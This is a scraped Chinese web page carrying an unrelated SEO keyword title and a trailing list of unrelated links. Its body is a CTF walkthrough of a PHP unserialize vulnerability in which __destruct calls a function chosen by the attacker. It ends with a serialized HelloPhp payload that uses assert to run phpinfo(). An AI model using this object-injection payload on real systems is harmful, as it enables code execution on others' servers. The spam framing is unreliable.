当前位置: 首页 > news >正文

公司网站建设 做账浙江广厦建设职业技术学院网站

公司网站建设 做账,浙江广厦建设职业技术学院网站,wordpress新增用户字段,网站查询ip地址查询进入靶场 吓我一跳 查看源码 点击 审计 <?php// 定义一个名为 HelloPhp 的类&#xff0c;该类可能用于执行与日期格式化相关的操作 class HelloPhp {// 定义一个公共属性 $a&#xff0c;用于存储日期格式化的模板public $a;// 定义一个公共属性 $b&#xff0c;用于存储…

进入靶场

吓我一跳

查看源码

点击

审计

<?php// 定义一个名为 HelloPhp 的类,该类可能用于执行与日期格式化相关的操作
class HelloPhp
{// 定义一个公共属性 $a,用于存储日期格式化的模板public $a;// 定义一个公共属性 $b,用于存储要调用的函数名public $b;// 构造函数,当创建 HelloPhp 类的对象时会自动调用public function __construct(){// 将日期格式化模板 "Y-m-d h:i:s" 赋值给属性 $a// "Y-m-d h:i:s" 表示年-月-日 时:分:秒 的格式$this->a = "Y-m-d h:i:s";// 将 PHP 的日期函数名 "date" 赋值给属性 $b$this->b = "date";}// 析构函数,当对象被销毁时会自动调用public function __destruct(){// 将属性 $a 的值赋给局部变量 $a$a = $this->a;// 将属性 $b 的值赋给局部变量 $b$b = $this->b;// 调用以 $b 为函数名的函数,并将 $a 作为参数传递给该函数// 由于 $b 为 "date",$a 为日期格式化模板,所以这里实际上是调用 date 函数进行日期格式化// 最后将格式化后的日期字符串输出echo $b($a);}
}// 创建一个 HelloPhp 类的对象 $c
$c = new HelloPhp;// 检查 $_GET 超全局数组中是否存在名为 'source' 的参数
if (isset($_GET['source'])) {// 如果存在 'source' 参数,则使用 highlight_file 函数高亮显示当前 PHP 文件的源代码highlight_file(__FILE__);// 终止脚本的执行,并返回状态码 0die(0);
}// 使用 @ 符号抑制可能出现的错误信息
// 尝试对 $_GET 超全局数组中名为 "data" 的参数进行反序列化操作
// 并将反序列化后的结果赋值给变量 $ppp
@$ppp = unserialize($_GET["data"]);

我们需要通过get方式传参给data参数,并进行序列化操作

同时b包括函数名,a包括对应参数

system() 是 PHP 中的一个函数,其作用是执行外部程序,并将执行结果输出

但尝试了不行,换一个

assert() 函数在 PHP 中既可以用于调试和检查条件是否成立,也可以将传入的参数当作 PHP 代码来执行

此处就是利用了他的第二个性质

phpinfo() 函数用于输出 PHP 的配置信息

<?php
class HelloPhp
{public $a = "phpinfo()";public $b = "assert";
}
$c = new HelloPhp();
echo serialize($c);
?> 

O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo()";s:1:"b";s:6:"assert";}

 

 

 

http://www.dtcms.com/a/518776.html

相关文章:

  • ppt做视频模板下载网站有哪些商标设计网站主要提供哪些服务
  • 做网站 做app好西安网站建设q.479185700強
  • 网站整体架构做SEO用dede还是wordpress
  • 手机网站设计制作c 网站开发的好处
  • 互联网网站建设门户网网页ui设计的排版
  • 做养生网站需要资质吗途牛网站开发需求
  • 电子商务网站建设与管理的总结建设官网站
  • 南昌网站建设一般多少钱一年产品关键词大全
  • 网站的推广费用票可以做抵扣吗网站二级域名解析
  • 虚拟空间做网站建站系统哪个比较好
  • 本机网站建设wordpress菜单高亮
  • 如何成为网站开发工程师微商城 分销平台
  • 上海市建设安装协会网站网站规划与网页设计案例
  • wap站开发海口网站制作案例
  • 江苏广泽建设公司网站网站建设与维护一年多少钱
  • 杭州 洛阳网站建设公司 网络服务坑梓网站建设包括哪些
  • 企业开发网站建设仁怀市城乡建设网站
  • 宁波网站建设网站排名优化开发建设网站需要什么人才
  • 自己如何做网站源码网站建设的内容
  • 中国建设会计学会网站农家院网站素材
  • 撰写网站建设技术解决方案软件工程专业学校排名
  • 重庆网站开发价格宝塔wordpress安装页面打不开
  • 网站建设网页无锡做网站公司费用价格
  • 网站设计 评价 方法广州网页制作步骤
  • 商业网站开发 流程网站推广服务具体内容包括哪些
  • 网站建设中如何设置外链接我的网站突然打不开了怎么回事啊
  • 喜满堂网站建设银行官网登录入口
  • 精仿腾讯3366小游戏门户网站源码织梦最新内核带全部数据!网站在线压缩
  • 帝国建站模板地接做的网站
  • 做企业网站需要什么资料互联网站开发